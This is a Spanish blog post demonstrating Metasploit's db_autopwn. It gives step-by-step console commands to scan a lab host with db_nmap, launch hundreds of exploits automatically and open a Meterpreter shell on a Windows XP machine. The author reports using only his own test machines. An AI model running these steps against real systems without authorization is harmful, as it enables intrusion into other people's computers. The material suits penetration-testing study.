Metasploit: Autopwn

Seguimos descubriendo características de Metasploit y quedándonos boquiabiertos con todo el poder de esta fantástica -y controvertida- herramienta.

Pensándolo con frialdad hasta me he planteado la escritura de este post, me preocupa la ética de los posibles lectores... pero visto de otra forma ni estoy descubriendo nada nuevo ni quiero hacer apología del non full disclosure así que -muy por encima pero- allá vamos.

Framework

Cuando en otras ocasiones hablamos de un framework de desarrollo -web- nos referimos a una herramienta que facilita de algún modo la programación o el desarrollo de proyectos -web-.

Hablando en términos de tests de intrusión -por ponerle algún nombre políticamente correcto-, Metasploit es un framework que facilita las comprobaciones que un Tiger Team haría de forma manual.

Nota: Desconozco completamente las herramientas habituales de un Tiger Team como para afirmar que el coste en tiempo sea menor.

Autopwn

Lo que me ha sorprendido de todo ésto es su facilidad de uso. Supongo que muchos de vosotros recordaréis y habréis usado Nessus como escáner de vulnerabilidades. Nessus es una herramienta a la que le indicas un equipo (o una red completa), coteja los resultados del escaneo contra una base de datos de vulnerabilidades y devuelve un informe esencial para cualquier sysadmin.

Pues autopwn es básicamente lo mismo, una herramienta interna de Metasploit a la que le indicas un host -o varios, o una red completa- y automágicamente escanea y detecta posibles vulnerabilidades. Pero va más allá, puesto que aplica todo tipo de exploits incluidos en Metasploit para comprobar su efecto.

Al acabar su trabajo y de encontrarnos ante un equipo vulnerable estaríamos consiguiendo una shell en el intérprete de comandos correspondiente.

Ejemplo práctico

Antes de nada hemos de crear una base de datos donde se guardarán todos los resultados, hosts, servicios... podemos usar el driver de mysql, sqlite3, postgresql... en este caso usaremos sqlite por su sencillez:
msf > db_driver 
[*]    Active Driver: sqlite3
[*]        Available: sqlite3, mysql
msf > db_create MiBase
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: MiBase
msf > 
Al crear la base de datos ya se abre una conexión, de haber creado la base de datos con anterioridad nos conectaríamos a ella:
msf > db_connect MiBase
[*] Successfully connected to the database
[*] File: MiBase
msf >
Ahora hacemos un nmap del equipo que queremos testear, usamos la herramienta interna db_nmap para guardar todos los resultados en la base de datos que hemos creado anteriormente:
msf > db_nmap -n -sT -PN 192.168.2.2
[*] exec: \"/usr/bin/nmap\" \"-n\" \"-sT\" \"-PN\" \"192.168.2.2\" \"-oX\" 
NMAP: Interesting ports on 192.168.2.2:
NMAP: Not shown: 993 closed ports
NMAP: PORT     STATE SERVICE
NMAP: 135/tcp  open  msrpc
NMAP: 139/tcp  open  netbios-ssn
NMAP: 445/tcp  open  microsoft-ds
NMAP: 1029/tcp open  ms-lsa
NMAP: 3050/tcp open  unknown
NMAP: 3389/tcp open  ms-term-serv
NMAP: 5900/tcp open  vnc
NMAP: 
NMAP: Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds
msf > 
Una vez hemos fijado destino, lanzamos el autopwn y lo dejamos trabajar. A continuación Metasploit seleccionará todos los exploits disponibles para los servicios almacenados:
msf > db_autopwn -t -p -e
[*] Analysis completed in 8.36183190345764 seconds (0 vulns / 0 refs)
[...]
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] (1/831): Launching exploit/netware/smb/lsass_cifs against 192.168.2.2:139...
[*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.2.2:445...
[*] (2/831): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.2.2:445...
[*] Matched auxiliary/dos/windows/smb/smb2_session_logoff against 192.168.2.2:445...
[*] (3/831): Launching exploit/w [...]
[...]
Al acabar -o en cualquier momento- podremos ir viendo el resultado del autopwn y las shells que ha conseguido abrir:
msf > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.2.1:52898 -> 192.168.2.2:20315
msf >
En este caso ha conseguido una shell en el equipo remoto, vamos a ver si no nos ha engañado:
msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
C:\\WINDOWS\\system32
meterpreter > shell
Process 3932 created.
Channel 1 created.
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\\WINDOWS\\system32> ipconfig
ipconfig

Configuración IP de Windows


Adaptador Ethernet Conexión de área local          :

        Sufijo de conexión específica DNS : 
        Dirección IP. . . . . . . . . . . : 192.168.2.2
        Máscara de subred . . . . . . . . : 255.255.255.0
        Puerta de enlace predeterminada   : 192.168.2.100
C:\\WINDOWS\\system32>
Creo que poco más se puede decir, los resultados hablan por sí mismos. Tan solo queda rezar por el uso que se le pueda dar a esta metralleta. ¡Menudo peligro!.

Nota

Para adornarme un poco me veo en la obligación de decir que todos los resultados se han hecho contra máquinas propias, sin parchear, vulnerables e instaladas específicamente para estas pruebas por pura diversión y entretenimiento.
}:)

Referencias

About the author

Óscar
has doubledaddy super powers, father of Hugo and Nico, husband of Marta, *nix user, Djangonaut and open source passionate.